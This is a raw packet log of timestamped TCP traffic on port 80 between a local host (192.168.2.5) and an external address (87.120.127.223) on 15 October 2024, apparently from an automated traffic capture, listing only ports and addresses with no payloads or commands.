Oct 15, 2024 19:22:28.854629040 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.854662895 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.854676962 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.854696035 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.854710102 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.854748964 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.854780912 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.854814053 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.854823112 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.854847908 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.854861975 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.854882956 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.854916096 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.854948997 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.854964972 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.855005026 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.887474060 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.887526989 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.887562990 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.887629986 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.931931973 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.956646919 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.956670046 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.956692934 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.956814051 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.956834078 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.956837893 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.956854105 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.956872940 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.956880093 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.957041025 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.957071066 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.957088947 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.957098961 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.957099915 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.957107067 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.957128048 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.957153082 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.957159996 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.957179070 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.957180977 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.957199097 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.957216024 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.957217932 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.957237959 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.957256079 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.957274914 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.957282066 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.957304001 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.960917950 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.960995913 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.961029053 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.961060047 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.961081982 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.961116076 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.961149931 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.961201906 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.961221933 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.961221933 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.961236000 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.961253881 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.961265087 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.961297035 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.961330891 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.961345911 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.961364031 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.961374998 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.961419106 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.961452007 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.961484909 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.961496115 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.961518049 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.961530924 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.961553097 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.962179899 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.970519066 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.970685959 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.970721006 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.970756054 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.970776081 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.970812082 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.970844984 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.970879078 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.970912933 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.970946074 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.970979929 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.970979929 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.970979929 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.971034050 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.971086025 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.971117973 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.971132040 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.971153975 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.971164942 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.971187115 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.971225023 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.971257925 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.971271038 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.971291065 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.971302032 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.971323013 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.971355915 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.971401930 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.971421957 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.971467972 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.971488953 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.971522093 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.971558094 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.971585989 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.971602917 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.971623898 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.971996069 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.972034931 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.972069025 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.972114086 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.002945900 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.003051996 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.003082991 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.003119946 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.003156900 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.003161907 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.057029009 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.076529026 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.076600075 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.076641083 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.076756954 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.076780081 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.076832056 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.076867104 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.076898098 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.076905012 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.076910019 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.076937914 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.076972961 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.077002048 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.077017069 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.077035904 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.077049017 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.077069998 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.077104092 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.077138901 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.077148914 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.077172041 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.077178001 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.077208042 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.077235937 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.077279091 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.080432892 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.080519915 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.080552101 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.080583096 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.080585957 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.080615044 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.080620050 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.080653906 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.080691099 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.080699921 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.080739021 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.080821991 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.080874920 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.080910921 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.080940962 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.080955982 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.080984116 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.080992937 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.081027985 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.081064939 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.081096888 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.081108093 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.081130028 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.081144094 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.081165075 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.081197977 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.081231117 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.081242085 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.081274033 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.090807915 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.090951920 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.090986013 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.091020107 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.091028929 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.091074944 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.091109037 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.091145039 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.091172934 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.091207027 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.091240883 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.091259956 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.091259956 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.091259956 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.091274977 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.091329098 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.091330051 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.091363907 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.091379881 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.091470003 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.091506004 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.091540098 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.091557980 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.091573000 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.091582060 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.091605902 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.091639042 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.091670990 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.091682911 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.091703892 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.091712952 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.091737986 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.091768980 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.091800928 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.091811895 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.091830969 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.091845989 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.091864109 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.091897011 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.091908932 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.092225075 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.092258930 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.092292070 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.092303991 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.092333078 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.124177933 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.124228001 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.124284983 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.124310017 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.124319077 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.124353886 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.124519110 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.196186066 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.196367025 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.196398020 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.196432114 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.196463108 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.196499109 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.196532011 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.196559906 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.196583033 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.196588039 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.196620941 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.196681976 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.196711063 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.196729898 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.196751118 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.196759939 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.196798086 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.196829081 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.196881056 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.196882963 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.196914911 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.196928978 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.196948051 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.196980000 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.197015047 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.197026968 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.197046995 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.197057009 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.197082043 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.197124958 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.200675011 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.200732946 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.200778961 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.200783968 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.200819016 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.200867891 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.200902939 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.200922012 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.200934887 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.200953960 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.200988054 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.201020002 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.201056004 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.201076984 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.201097965 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.201106071 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.201142073 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.201186895 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.201193094 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.201229095 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.201257944 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.201288939 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.201302052 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.201322079 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.201334953 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.201354027 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.201386929 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.201420069 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.201431036 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.201466084 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.211505890 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.211570978 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.211605072 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.211637020 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.211639881 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.211673975 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.211709023 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.211724043 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.211743116 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.211754084 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.211780071 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.212146997 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.212261915 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.212311983 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.212348938 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.212383032 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.212393999 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.212416887 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.212425947 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.212450981 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.212496042 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.212543011 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.212551117 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.212585926 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.212598085 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.212619066 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.212652922 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.212686062 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.212697029 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.212721109 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.212728024 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.212753057 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.212790012 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.212819099 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.212832928 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.212852955 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.212860107 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.212888002 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.216152906 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.242975950 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.243113041 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.243150949 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.243180990 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.243185043 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.243218899 CEST	80	49761	87.120.127.223	192.168.2.5
